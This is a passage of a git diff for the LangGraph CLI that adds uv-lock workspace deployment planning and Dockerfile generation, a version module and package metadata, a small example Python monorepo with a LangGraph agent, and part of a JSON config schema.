+    raise click.UsageError(
+        "source.package is required because source.root resolves to a uv "
+        "workspace with multiple packages and no unique target package could be "
+        f"inferred from langgraph.json at {config_root}. Available packages: "
+        f"{available_packages or '(none)'}. "
+        "Move langgraph.json into the target package or set source.package."
+    )
+
+
+def _plan_uv_lock_workspace(config_path: pathlib.Path, config: Config) -> UvLockPlan:
+    config_root = config_path.parent.resolve()
+    source = config["source"]
+    root = source.get("root", ".")
+    if not isinstance(root, str) or not root.strip():
+        raise click.UsageError('`source.root` must be a non-empty string. Use `"."`.')
+    project_root = (config_root / root).resolve()
+    pyproject_path = project_root / "pyproject.toml"
+    uv_lock_path = project_root / "uv.lock"
+
+    if not uv_lock_path.exists():
+        raise click.UsageError(
+            f"No uv.lock found at {uv_lock_path}. Your langgraph.json sets "
+            f"source.root={root!r}, which resolves to "
+            f"{project_root}. Make sure this is the directory where you run "
+            "`uv lock` (it should contain both pyproject.toml and uv.lock)."
+        )
+    if not pyproject_path.exists():
+        raise click.UsageError(
+            f"No pyproject.toml found at {pyproject_path}. Your langgraph.json "
+            f"sets source.root={root!r}, which resolves to "
+            f"{project_root}. This should be your uv workspace root."
+        )
+
+    workspace = _discover_uv_lock_workspace_packages(project_root, pyproject_path)
+    packages_by_name = workspace.packages_by_name
+    target = _infer_uv_lock_target_package(
+        config_root=config_root,
+        project_root=project_root,
+        source=source,
+        packages_by_name=packages_by_name,
+        packages_by_root=workspace.packages_by_root,
+    )
+    _validate_uv_lock_package(
+        target,
+        project_root=project_root,
+        root_pyproject_path=pyproject_path,
+        raw_root_source_entries=workspace.raw_root_source_entries,
+        packages_by_name=workspace.packages_by_name,
+        packages_by_root=workspace.packages_by_root,
+    )
+    if not target.package_enabled:
+        raise click.UsageError(
+            f"'{target.name}' has `tool.uv.package = false` in "
+            f"{target.pyproject_path}, so it cannot be deployed. Either remove "
+            "that setting or point `source.package` at a different workspace "
+            "member."
+        )
+
+    install_order: list[UvLockPackage] = []
+    visited: set[str] = set()
+    validated: set[str] = {target.normalized_name}
+
+    def visit(package: UvLockPackage) -> None:
+        if package.normalized_name in visited:
+            return
+        visited.add(package.normalized_name)
+        if package.normalized_name not in validated:
+            _validate_uv_lock_package(
+                package,
+                project_root=project_root,
+                root_pyproject_path=pyproject_path,
+                raw_root_source_entries=workspace.raw_root_source_entries,
+                packages_by_name=workspace.packages_by_name,
+                packages_by_root=workspace.packages_by_root,
+            )
+            validated.add(package.normalized_name)
+        for dependency_name in package.workspace_dependencies:
+            dependency = packages_by_name.get(dependency_name)
+            if dependency is not None:
+                visit(dependency)
+        install_order.append(package)
+
+    visit(target)
+
+    container_roots = {
+        package.root: _container_root_for_uv_lock_package(project_root, package.root)
+        for package in install_order
+    }
+
+    all_workspace_roots = frozenset(
+        package.root for package in packages_by_name.values()
+    )
+
+    working_dir = _resolve_uv_lock_container_path(
+        config_root,
+        UvLockPlan(
+            project_root=project_root,
+            pyproject_path=pyproject_path,
+            uv_lock_path=uv_lock_path,
+            target=target,
+            target_root=target.root,
+            install_order=tuple(install_order),
+            container_roots=container_roots,
+            working_dir=str(
+                _container_root_for_uv_lock_package(project_root, target.root)
+            ),
+            all_workspace_roots=all_workspace_roots,
+        ),
+    )
+    if working_dir is None:
+        working_dir = container_roots[target.root]
+
+    return UvLockPlan(
+        project_root=project_root,
+        pyproject_path=pyproject_path,
+        uv_lock_path=uv_lock_path,
+        target=target,
+        target_root=target.root,
+        install_order=tuple(install_order),
+        container_roots=container_roots,
+        working_dir=str(working_dir),
+        all_workspace_roots=all_workspace_roots,
+    )
+
+
+def _rewrite_uv_lock_import_path(
+    config_path: pathlib.Path,
+    import_str: str,
+    plan: UvLockPlan,
+    *,
+    label: str,
+) -> str:
+    module_str, _, attr_str = import_str.partition(":")
+    if not module_str or not attr_str:
+        raise ValueError(
+            f'Import string "{import_str}" must be in format ":".'
+        )
+
+    if "/" not in module_str and "\\" not in module_str:
+        return import_str
+
+    resolved = (config_path.parent / module_str).resolve()
+    if not resolved.exists():
+        raise FileNotFoundError(f"Could not find {label}: {resolved}")
+    if not resolved.is_file():
+        raise IsADirectoryError(f"{label.capitalize()} must be a file: {resolved}")
+
+    container_path = _resolve_uv_lock_container_path(resolved, plan)
+    if container_path is None:
+        copied_dirs = ", ".join(
+            package.root.relative_to(plan.project_root).as_posix() or "."
+            for package in plan.install_order
+        )
+        raise click.UsageError(
+            f"{label.capitalize()} '{import_str}' resolves to {resolved}, which is "
+            f"not inside the target package '{plan.target.name}' or any of its "
+            f"workspace dependencies. Only these directories are copied into the "
+            f"container: {copied_dirs}. If this file lives in another workspace "
+            f"package, add it as a dependency of '{plan.target.name}' with "
+            "`{ workspace = true }` in [tool.uv.sources]."
+        )
+
+    return f"{container_path.as_posix()}:{attr_str}"
+
+
+def _update_uv_lock_graph_paths(
+    config_path: pathlib.Path, config: Config, plan: UvLockPlan
+) -> None:
+    for graph_id, data in config["graphs"].items():
+        if isinstance(data, dict):
+            if "path" not in data:
+                raise ValueError(
+                    f"Graph '{graph_id}' must contain a 'path' key if it is a dictionary."
+                )
+            config["graphs"][graph_id]["path"] = _rewrite_uv_lock_import_path(
+                config_path,
+                data["path"],
+                plan,
+                label=f"graph '{graph_id}'",
+            )
+        elif isinstance(data, str):
+            config["graphs"][graph_id] = _rewrite_uv_lock_import_path(
+                config_path,
+                data,
+                plan,
+                label=f"graph '{graph_id}'",
+            )
+        else:
+            raise ValueError(
+                f"Graph '{graph_id}' must be a string or a dictionary with a 'path' key."
+            )
+
+
+def _update_uv_lock_component_path(
+    config_path: pathlib.Path,
+    config: Config,
+    plan: UvLockPlan,
+    *,
+    section: str,
+    key: str,
+    label: str,
+) -> None:
+    section_config = config.get(section)
+    if not isinstance(section_config, dict):
+        return
+
+    path_str = section_config.get(key)
+    if not isinstance(path_str, str):
+        return
+
+    section_config[key] = _rewrite_uv_lock_import_path(
+        config_path,
+        path_str,
+        plan,
+        label=label,
+    )
+
+
+def _update_uv_lock_ui_paths(
+    config_path: pathlib.Path, config: Config, plan: UvLockPlan
+) -> None:
+    ui = config.get("ui")
+    if not isinstance(ui, dict):
+        return
+
+    for ui_name, path_str in ui.items():
+        if not isinstance(path_str, str):
+            continue
+
+        resolved = (config_path.parent / path_str).resolve()
+        if not resolved.exists():
+            raise FileNotFoundError(f"Could not find ui '{ui_name}': {resolved}")
+        if not resolved.is_file():
+            raise IsADirectoryError(f"Ui '{ui_name}' must be a file: {resolved}")
+
+        container_path = _resolve_uv_lock_container_path(resolved, plan)
+        if container_path is None:
+            copied_dirs = ", ".join(
+                package.root.relative_to(plan.project_root).as_posix() or "."
+                for package in plan.install_order
+            )
+            raise click.UsageError(
+                f"Ui '{ui_name}' resolves to {resolved}, which is not inside the "
+                f"target package '{plan.target.name}' or any of its workspace "
+                f"dependencies. Only these directories are copied into the "
+                f"container: {copied_dirs}. If this file lives in another "
+                f"workspace package, add it as a dependency of "
+                f"'{plan.target.name}' with `{{ workspace = true }}` in "
+                "[tool.uv.sources]."
+            )
+
+        ui[ui_name] = container_path.as_posix()
+
+
+def python_config_to_docker_uv_lock(
+    config_path: pathlib.Path,
+    config: Config,
+    base_image: str,
+    api_version: str | None = None,
+    *,
+    build_tools_to_uninstall: tuple[str, ...] | None,
+) -> tuple[str, dict[str, str]]:
+    from langgraph_cli.config import (
+        DEFAULT_NODE_VERSION,
+        _build_python_install_commands,
+        _build_runtime_env_vars,
+        _get_node_pm_install_cmd,
+        _get_pip_cleanup_lines,
+        _image_supports_uv,
+        docker_tag,
+    )
+
+    if not _image_supports_uv(base_image):
+        raise ValueError(
+            "source.kind 'uv' requires a base image with uv support "
+            "(langchain/langgraph-api >= 0.2.47)"
+        )
+
+    config_root = config_path.parent.resolve()
+    install_cmd = "uv pip install --system"
+    _, global_reqs_pip_install, pip_config_file_str = _build_python_install_commands(
+        config, install_cmd
+    )
+    plan = _plan_uv_lock_workspace(config_path, config)
+
+    _update_uv_lock_graph_paths(config_path, config, plan)
+    for section, key in [
+        ("auth", "path"),
+        ("encryption", "path"),
+        ("checkpointer", "path"),
+        ("http", "app"),
+    ]:
+        _update_uv_lock_component_path(
+            config_path,
+            config,
+            plan,
+            section=section,
+            key=key,
+            label=f"{section}.{key}",
+        )
+    _update_uv_lock_ui_paths(config_path, config, plan)
+
+    additional_contexts: dict[str, str] = {}
+    workspace_context_name: str | None = None
+    if (
+        plan.project_root != config_root
+        and config_root not in plan.project_root.parents
+    ):
+        workspace_context_name = "uv-workspace-root"
+        additional_contexts[workspace_context_name] = str(plan.project_root)
+
+    def copy_from_project_root(
+        relative_path: pathlib.PurePosixPath, destination: str
+    ) -> str:
+        if workspace_context_name is not None:
+            source = relative_path.as_posix() or "."
+            return f"COPY --from={workspace_context_name} {source} {destination}"
+
+        source_path = plan.project_root / pathlib.Path(relative_path)
+        relative_source = source_path.relative_to(config_root).as_posix()
+        return f"ADD {relative_source} {destination}"
+
+    uv_export_project_dir = "/tmp/uv_export/project"
+    env_vars = _build_runtime_env_vars(config)
+
+    image_str = docker_tag(config, base_image, api_version)
+    docker_plan = DockerBuildPlan(lines=[])
+
+    if additional_contexts:
+        docker_plan.add_raw("# syntax=docker/dockerfile:1.4")
+        docker_plan.add_blank()
+
+    docker_plan.add_instruction("FROM", image_str)
+    docker_plan.add_blank()
+    docker_plan.extend_nonempty(config["dockerfile_lines"])
+    if config["dockerfile_lines"]:
+        docker_plan.add_blank()
+
+    if (config.get("ui") or config.get("node_version")) and plan.working_dir:
+        docker_plan.add_instruction("RUN", "/storage/install-node.sh")
+        docker_plan.add_blank()
+
+    if pip_config_file_str:
+        docker_plan.add_raw(pip_config_file_str)
+        docker_plan.add_blank()
+
+    docker_plan.add_raw("# -- Installing dependencies from uv.lock --")
+    docker_plan.add_raw(
+        copy_from_project_root(
+            pathlib.PurePosixPath("pyproject.toml"),
+            f"{uv_export_project_dir}/pyproject.toml",
+        )
+    )
+    docker_plan.add_raw(
+        copy_from_project_root(
+            pathlib.PurePosixPath("uv.lock"),
+            f"{uv_export_project_dir}/uv.lock",
+        )
+    )
+    docker_plan.add_instruction("WORKDIR", uv_export_project_dir)
+    docker_plan.add_instruction(
+        "RUN",
+        " ".join(
+            [
+                "uv export",
+                f"--package {shlex.quote(plan.target.name)}",
+                "--frozen",
+                "--no-hashes",
+                "--no-emit-project",
+                "--no-emit-workspace",
+                "-o uv_requirements.txt",
+            ]
+        ),
+    )
+    docker_plan.add_instruction(
+        "RUN", f"{global_reqs_pip_install} -r uv_requirements.txt"
+    )
+    docker_plan.add_instruction("RUN", "rm -rf /tmp/uv_export")
+    docker_plan.add_raw("# -- End of uv.lock dependencies install --")
+    docker_plan.add_blank()
+
+    ignore_spec = _build_ignore_spec(plan.project_root, include_gitignore=False)
+    for package in plan.install_order:
+        package_label = package.root.relative_to(plan.project_root).as_posix() or "."
+        docker_plan.add_raw(f"# -- Adding workspace package {package_label} --")
+        for source, destination in _uv_lock_package_copy_items(
+            package, plan, ignore_spec
+        ):
+            docker_plan.add_raw(copy_from_project_root(source, destination.as_posix()))
+        docker_plan.add_instruction(
+            "WORKDIR", plan.container_roots[package.root].as_posix()
+        )
+        docker_plan.add_instruction("RUN", f"{global_reqs_pip_install} --no-deps -e .")
+        docker_plan.add_raw(f"# -- End of workspace package {package_label} --")
+        docker_plan.add_blank()
+
+    docker_plan.extend_nonempty(env_vars)
+    if env_vars:
+        docker_plan.add_blank()
+
+    if (config.get("ui") or config.get("node_version")) and plan.working_dir:
+        docker_plan.add_raw("# -- Installing JS dependencies --")
+        docker_plan.add_instruction(
+            "ENV", f"NODE_VERSION={config.get('node_version') or DEFAULT_NODE_VERSION}"
+        )
+        docker_plan.add_instruction("WORKDIR", plan.working_dir)
+        docker_plan.add_instruction(
+            "RUN",
+            f"{_get_node_pm_install_cmd(plan.target_root)} && "
+            "tsx /api/langgraph_api/js/build.mts",
+        )
+        docker_plan.add_raw("# -- End of JS dependencies install --")
+        docker_plan.add_blank()
+
+    docker_plan.add_raw(
+        _get_pip_cleanup_lines(
+            install_cmd=install_cmd,
+            to_uninstall=build_tools_to_uninstall,
+            pip_installer="uv",
+        )
+    )
+    docker_plan.add_blank()
+    if plan.working_dir:
+        docker_plan.add_instruction("WORKDIR", plan.working_dir)
+
+    return docker_plan.render(), additional_contexts
diff --git a/libs/cli/langgraph_cli/version.py b/libs/cli/langgraph_cli/version.py
new file mode 100644
index 0000000..3368893
--- /dev/null
+++ b/libs/cli/langgraph_cli/version.py
@@ -0,0 +1,10 @@
+"""Main entrypoint into package."""
+
+from importlib import metadata
+
+try:
+    __version__ = metadata.version(__package__)
+except metadata.PackageNotFoundError:
+    # Case where package metadata is not available.
+    __version__ = ""
+del metadata  # optional, avoids polluting the results of dir(__package__)
diff --git a/libs/cli/pyproject.toml b/libs/cli/pyproject.toml
new file mode 100644
index 0000000..7012daa
--- /dev/null
+++ b/libs/cli/pyproject.toml
@@ -0,0 +1,92 @@
+[build-system]
+requires = ["hatchling"]
+build-backend = "hatchling.build"
+
+[project]
+name = "langgraph-cli"
+dynamic = ["version"]
+description = "CLI for interacting with LangGraph API"
+authors = []
+requires-python = ">=3.10"
+readme = "README.md"
+license = "MIT"
+license-files = ['LICENSE']
+dependencies = [
+    "click>=8.1.7",
+    "httpx>=0.24.0",
+    "langgraph-sdk>=0.1.0 ; python_version >= '3.11'",
+    "pathspec>=0.11.0",
+    "python-dotenv>=0.8.0",
+    "tomli>=2.0.1 ; python_version < '3.11'",
+]
+[tool.hatch.version]
+path = "langgraph_cli/__init__.py"
+[project.optional-dependencies]
+inmem = [
+    "langgraph-api>=0.5.35,<1.0.0 ; python_version >= '3.11'",
+    "langgraph-runtime-inmem>=0.7 ; python_version >= '3.11'",
+]
+
+[project.urls]
+Source = "https://github.com/langchain-ai/langgraph/tree/main/libs/cli"
+Twitter = "https://x.com/langchain_oss"
+Slack = "https://www.langchain.com/join-community"
+Reddit = "https://www.reddit.com/r/LangChain/"
+
+[project.scripts]
+langgraph = "langgraph_cli.cli:cli"
+
+[dependency-groups]
+test = [
+    "pytest",
+    "pytest-asyncio",
+    "pytest-mock",
+    "pytest-watch",
+    "msgspec",
+]
+lint = [
+    "ruff",
+    "codespell",
+    "ty",
+]
+dev = [
+    {include-group = "test"},
+    {include-group = "lint"},
+    "hatch>=1.16.2",
+]
+
+[tool.uv]
+default-groups = ['dev']
+
+[tool.hatch.build.targets.wheel]
+include = ["langgraph_cli"]
+
+[tool.pytest.ini_options]
+addopts = "--strict-markers --strict-config --durations=5 -vv"
+asyncio_mode = "auto"
+
+[tool.ruff]
+lint.select = [
+  "E",  # pycodestyle
+  "F",  # Pyflakes
+  "UP", # pyupgrade
+  "B",  # flake8-bugbear
+  "I",  # isort
+  "UP", # pyupgrade
+]
+lint.ignore = ["E501", "B008"]
+target-version = "py310"
+
+[tool.ty.rules]
+invalid-argument-type = "ignore"
+invalid-assignment = "ignore"
+invalid-key = "ignore"
+invalid-parameter-default = "ignore"
+invalid-return-type = "ignore"
+missing-argument = "ignore"
+no-matching-overload = "ignore"
+not-subscriptable = "ignore"
+unused-type-ignore-comment = "ignore"
+unresolved-attribute = "ignore"
+unresolved-import = "ignore"
+unsupported-operator = "ignore"
diff --git a/libs/cli/python-monorepo-example/apps/agent/.env.example b/libs/cli/python-monorepo-example/apps/agent/.env.example
new file mode 100644
index 0000000..e69de29
diff --git a/libs/cli/python-monorepo-example/apps/agent/langgraph.json b/libs/cli/python-monorepo-example/apps/agent/langgraph.json
new file mode 100644
index 0000000..10cf04d
--- /dev/null
+++ b/libs/cli/python-monorepo-example/apps/agent/langgraph.json
@@ -0,0 +1,8 @@
+{
+  "$schema": "https://langgra.ph/schema.json",
+  "dependencies": [".", "../../libs/shared", "../../libs/common"],
+  "graphs": {
+    "agent": "./src/agent/graph.py:graph"
+  },
+  "env": ".env"
+}
\ No newline at end of file
diff --git a/libs/cli/python-monorepo-example/apps/agent/pyproject.toml b/libs/cli/python-monorepo-example/apps/agent/pyproject.toml
new file mode 100644
index 0000000..43475d2
--- /dev/null
+++ b/libs/cli/python-monorepo-example/apps/agent/pyproject.toml
@@ -0,0 +1,19 @@
+[project]
+name = "agent"
+version = "0.0.1"
+description = "Agent for the Python monorepo"
+authors = [
+    { name = "Developer", email = "dev@example.com" },
+]
+license = { text = "MIT" }
+requires-python = ">=3.11,<4.0"
+
+[build-system]
+requires = ["setuptools>=73.0.0", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[tool.setuptools]
+packages = ["agent"]
+
+[tool.setuptools.package-dir]
+"agent" = "src/agent"
\ No newline at end of file
diff --git a/libs/cli/python-monorepo-example/apps/agent/src/agent/__init__.py b/libs/cli/python-monorepo-example/apps/agent/src/agent/__init__.py
new file mode 100644
index 0000000..62617ff
--- /dev/null
+++ b/libs/cli/python-monorepo-example/apps/agent/src/agent/__init__.py
@@ -0,0 +1 @@
+"""Agent package."""
diff --git a/libs/cli/python-monorepo-example/apps/agent/src/agent/graph.py b/libs/cli/python-monorepo-example/apps/agent/src/agent/graph.py
new file mode 100644
index 0000000..39ee31c
--- /dev/null
+++ b/libs/cli/python-monorepo-example/apps/agent/src/agent/graph.py
@@ -0,0 +1,40 @@
+"""Simple LangGraph agent for monorepo testing."""
+
+from common import get_common_prefix
+from langchain_core.messages import AIMessage
+from langgraph.graph import END, START, StateGraph
+from shared import get_dummy_message
+
+from agent.state import State
+
+
+def call_model(state: State) -> dict:
+    """Simple node that uses the shared libraries."""
+    # Use functions from both shared packages
+    dummy_message = get_dummy_message()
+    prefix = get_common_prefix()
+
+    message = AIMessage(content=f"{prefix} Agent says: {dummy_message}")
+
+    return {"messages": [message]}
+
+
+def should_continue(state: State):
+    """Conditional edge - end after first message."""
+    messages = state["messages"]
+    if len(messages) > 0:
+        return END
+    return "call_model"
+
+
+# Build the graph
+workflow = StateGraph(State)
+
+# Add the node
+workflow.add_node("call_model", call_model)
+
+# Add edges
+workflow.add_edge(START, "call_model")
+workflow.add_conditional_edges("call_model", should_continue)
+
+graph = workflow.compile()
diff --git a/libs/cli/python-monorepo-example/apps/agent/src/agent/state.py b/libs/cli/python-monorepo-example/apps/agent/src/agent/state.py
new file mode 100644
index 0000000..8ef10fa
--- /dev/null
+++ b/libs/cli/python-monorepo-example/apps/agent/src/agent/state.py
@@ -0,0 +1,13 @@
+"""State definition for the agent."""
+
+from collections.abc import Sequence
+from typing import Annotated, TypedDict
+
+from langchain_core.messages import BaseMessage
+from langgraph.graph.message import add_messages
+
+
+class State(TypedDict):
+    """The state of the agent."""
+
+    messages: Annotated[Sequence[BaseMessage], add_messages]
diff --git a/libs/cli/python-monorepo-example/libs/common/__init__.py b/libs/cli/python-monorepo-example/libs/common/__init__.py
new file mode 100644
index 0000000..8c49dd1
--- /dev/null
+++ b/libs/cli/python-monorepo-example/libs/common/__init__.py
@@ -0,0 +1,5 @@
+"""Common helper functions package."""
+
+from .helpers import get_common_prefix
+
+__all__ = ["get_common_prefix"]
diff --git a/libs/cli/python-monorepo-example/libs/common/helpers.py b/libs/cli/python-monorepo-example/libs/common/helpers.py
new file mode 100644
index 0000000..f745dbd
--- /dev/null
+++ b/libs/cli/python-monorepo-example/libs/common/helpers.py
@@ -0,0 +1,6 @@
+"""Common helper functions."""
+
+
+def get_common_prefix() -> str:
+    """Get a common prefix for messages."""
+    return "[COMMON]"
diff --git a/libs/cli/python-monorepo-example/libs/shared/pyproject.toml b/libs/cli/python-monorepo-example/libs/shared/pyproject.toml
new file mode 100644
index 0000000..319411a
--- /dev/null
+++ b/libs/cli/python-monorepo-example/libs/shared/pyproject.toml
@@ -0,0 +1,20 @@
+[project]
+name = "shared"
+version = "0.0.1"
+description = "Shared utilities for the Python monorepo"
+authors = [
+    { name = "Developer", email = "dev@example.com" },
+]
+license = { text = "MIT" }
+requires-python = ">=3.11,<4.0"
+dependencies = []
+
+[build-system]
+requires = ["setuptools>=73.0.0", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[tool.setuptools]
+packages = ["shared"]
+
+[tool.setuptools.package-dir]
+"shared" = "src/shared"
\ No newline at end of file
diff --git a/libs/cli/python-monorepo-example/libs/shared/src/shared/__init__.py b/libs/cli/python-monorepo-example/libs/shared/src/shared/__init__.py
new file mode 100644
index 0000000..c30c138
--- /dev/null
+++ b/libs/cli/python-monorepo-example/libs/shared/src/shared/__init__.py
@@ -0,0 +1,5 @@
+"""Shared utilities package."""
+
+from .utils import get_dummy_message
+
+__all__ = ["get_dummy_message"]
diff --git a/libs/cli/python-monorepo-example/libs/shared/src/shared/utils.py b/libs/cli/python-monorepo-example/libs/shared/src/shared/utils.py
new file mode 100644
index 0000000..b26dcf1
--- /dev/null
+++ b/libs/cli/python-monorepo-example/libs/shared/src/shared/utils.py
@@ -0,0 +1,6 @@
+"""Shared utility functions."""
+
+
+def get_dummy_message() -> str:
+    """Get a dummy message for testing."""
+    return "Hello from shared library!"
diff --git a/libs/cli/python-monorepo-example/pyproject.toml b/libs/cli/python-monorepo-example/pyproject.toml
new file mode 100644
index 0000000..faae3a6
--- /dev/null
+++ b/libs/cli/python-monorepo-example/pyproject.toml
@@ -0,0 +1,46 @@
+[project]
+name = "python-monorepo-example"
+version = "0.0.1"
+description = "A Python monorepo example with LangGraph agents and shared packages"
+authors = [
+    { name = "Developer", email = "dev@example.com" },
+]
+license = { text = "MIT" }
+requires-python = ">=3.11,<4.0"
+dependencies = [
+    "langgraph>=0.6.0,<2",
+    "langchain-core>=0.2.14",
+]
+
+[tool.uv.workspace]
+members = ["apps/*", "libs/shared"]
+
+[tool.uv.sources]
+shared = { workspace = true }
+
+[project.optional-dependencies]
+dev = ["ruff>=0.6.1", "ty"]
+
+[build-system]
+requires = ["setuptools>=73.0.0", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[tool.ruff]
+lint.select = [
+    "E",    # pycodestyle
+    "F",    # pyflakes
+    "I",    # isort
+    "D",    # pydocstyle
+    "UP",
+]
+lint.ignore = [
+    "D100",  # Missing docstring in public module
+    "D101",  # Missing docstring in public class
+    "D102",  # Missing docstring in public method
+    "D103",  # Missing docstring in public function
+    "D104",  # Missing docstring in public package
+    "D105",  # Missing docstring in magic method
+]
+
+[tool.ruff.lint.pydocstyle]
+convention = "google"
diff --git a/libs/cli/schemas/schema.json b/libs/cli/schemas/schema.json
new file mode 100644
index 0000000..6eec620
--- /dev/null
+++ b/libs/cli/schemas/schema.json
@@ -0,0 +1,1349 @@
+{
+  "$ref": "#/$defs/Config",
+  "$defs": {
+    "Config": {
+      "title": "Config",
+      "description": "Top-level config for langgraph-cli or similar deployment tooling.",
+      "type": "object",
+      "required": [],
+      "oneOf": [
+        {
+          "type": "object",
+          "properties": {
+            "python_version": {
+              "type": "string",
+              "description": "Optional. Python version in 'major.minor' format (e.g. '3.11').\nMust be at least 3.11 or greater for this deployment to function properly.\n",
+              "enum": [
+                "3.11",
+                "3.12",
+                "3.13"
+              ]
+            },
+            "pip_config_file": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Path to a pip config file (e.g., \"/etc/pip.conf\" or \"pip.ini\") for controlling\npackage installation (custom indices, credentials, etc.).\n\nOnly relevant if Python dependencies are installed via pip. If omitted, default pip settings are used.\n"
+            },
+            "_INTERNAL_docker_tag": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Internal use only.\n"
+            },
+            "api_version": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Which semantic version of the LangGraph API server to use.\n\nDefaults to latest. Check the\nfor more information.\n"
+            },
+            "auth": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/AuthConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Custom authentication config, including the path to your Python auth logic and\nthe OpenAPI security definitions it uses.\n"
+            },
+            "base_image": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Base image to use for the LangGraph API server.\n\nDefaults to langchain/langgraph-api or langchain/langgraphjs-api.\n"
+            },
+            "checkpointer": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/CheckpointerConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in checkpointer, which handles checkpointing of state.\n\nIf omitted, no checkpointer is set up (the object store will still be present, however).\n"
+            },
+            "dependencies": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              },
+              "description": "List of Python dependencies to install, either from PyPI or local paths.\n"
+            },
+            "dockerfile_lines": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              },
+              "description": "Optional. Additional Docker instructions that will be appended to your base Dockerfile.\n\nUseful for installing OS packages, setting environment variables, etc."
+            },
+            "encryption": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/EncryptionConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Custom at-rest encryption config, including the path to your Python encryption logic.\n\nAllows you to implement custom encryption for sensitive data stored in the database.\n"
+            },
+            "env": {
+              "anyOf": [
+                {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "string"
+                }
+              ],
+              "description": "Optional. Environment variables to set for your deployment.\n\n- If given as a dict, keys are variable names and values are their values.\n- If given as a string, it must be a path to a file containing lines in KEY=VALUE format.\n\nenv=\".env\n"
+            },
+            "graphs": {
+              "type": "object",
+              "additionalProperties": {
+                "anyOf": [
+                  {
+                    "type": "string"
+                  },
+                  {
+                    "$ref": "#/$defs/GraphDef"
+                  }
+                ]
+              },
+              "description": "Optional. Named definitions of graphs, each pointing to a Python object.\n\n\nGraphs can be StateGraph, @entrypoint, or any other Pregel object OR they can point to (async) context\nmanagers that accept a single configuration argument (of type RunnableConfig) and return a pregel object\n(instance of Stategraph, etc.).\n\nor objects with a \"path\" key and optional \"description\" key."
+            },
+            "http": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/HttpConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in HTTP server, controlling which custom routes are exposed\nand how cross-origin requests are handled.\n"
+            },
+            "image_distro": {
+              "anyOf": [
+                {
+                  "enum": [
+                    "bookworm",
+                    "debian",
+                    "wolfi"
+                  ]
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Linux distribution for the base image.\n\nMust be one of 'wolfi', 'debian', or 'bookworm'.\nIf omitted, defaults to 'debian' ('latest').\n"
+            },
+            "keep_pkg_tools": {
+              "anyOf": [
+                {
+                  "type": "boolean"
+                },
+                {
+                  "type": "array",
+                  "items": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Control whether to retain Python packaging tools in the final image.\n\nYou can also set to true to include all packaging tools.\n"
+            },
+            "pip_installer": {
+              "anyOf": [
+                {
+                  "type": "string",
+                  "enum": [
+                    "auto",
+                    "pip",
+                    "uv"
+                  ]
+                },
+                {
+                  "type": "null"
+                }
+              ]
+            },
+            "source": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/UvSource"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Explicit deployment source configuration.\n\n`root/pyproject.toml` and `root/uv.lock`. If `root` is a workspace and the\ntarget is ambiguous, set `package` to the desired workspace member.\n"
+            },
+            "store": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/StoreConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Configuration for the built-in long-term memory store, including semantic search indexing.\n\nIf omitted, no vector index is set up (the object store will still be present, however).\n"
+            },
+            "ui": {
+              "anyOf": [
+                {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "string"
+                  }
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Named definitions of UI components emitted by the agent, each pointing to a JS/TS file.\n"
+            },
+            "webhooks": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/WebhooksConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Webhooks configuration for outbound event delivery.\n\nForwarded into the container as `LANGGRAPH_WEBHOOKS`. See `WebhooksConfig`\nfor URL policy and header templating details.\n"
+            }
+          },
+          "required": [
+            "dependencies",
+            "graphs"
+          ]
+        },
+        {
+          "type": "object",
+          "properties": {
+            "python_version": {
+              "type": "string",
+              "description": "Optional. Python version in 'major.minor' format (e.g. '3.11').\nMust be at least 3.11 or greater for this deployment to function properly.\n",
+              "enum": [
+                "3.11",
+                "3.12",
+                "3.13"
+              ]
+            },
+            "pip_config_file": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Path to a pip config file (e.g., \"/etc/pip.conf\" or \"pip.ini\") for controlling\npackage installation (custom indices, credentials, etc.).\n\nOnly relevant if Python dependencies are installed via pip. If omitted, default pip settings are used.\n"
+            },
+            "_INTERNAL_docker_tag": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Internal use only.\n"
+            },
+            "api_version": {
+              "anyOf": [
+                {
+                  "type": "string"
+                },
+                {
+                  "type": "null"
+                }
+              ],
+              "description": "Optional. Which semantic version of the LangGraph API server to use.\n\nDefaults to latest. Check the\nfor more information.\n"
+            },
+            "auth": {
+              "anyOf": [
+                {
+                  "$ref": "#/$defs/AuthConfig"
+                },
+                {
+                  "type": "null"
+                }
+              ],
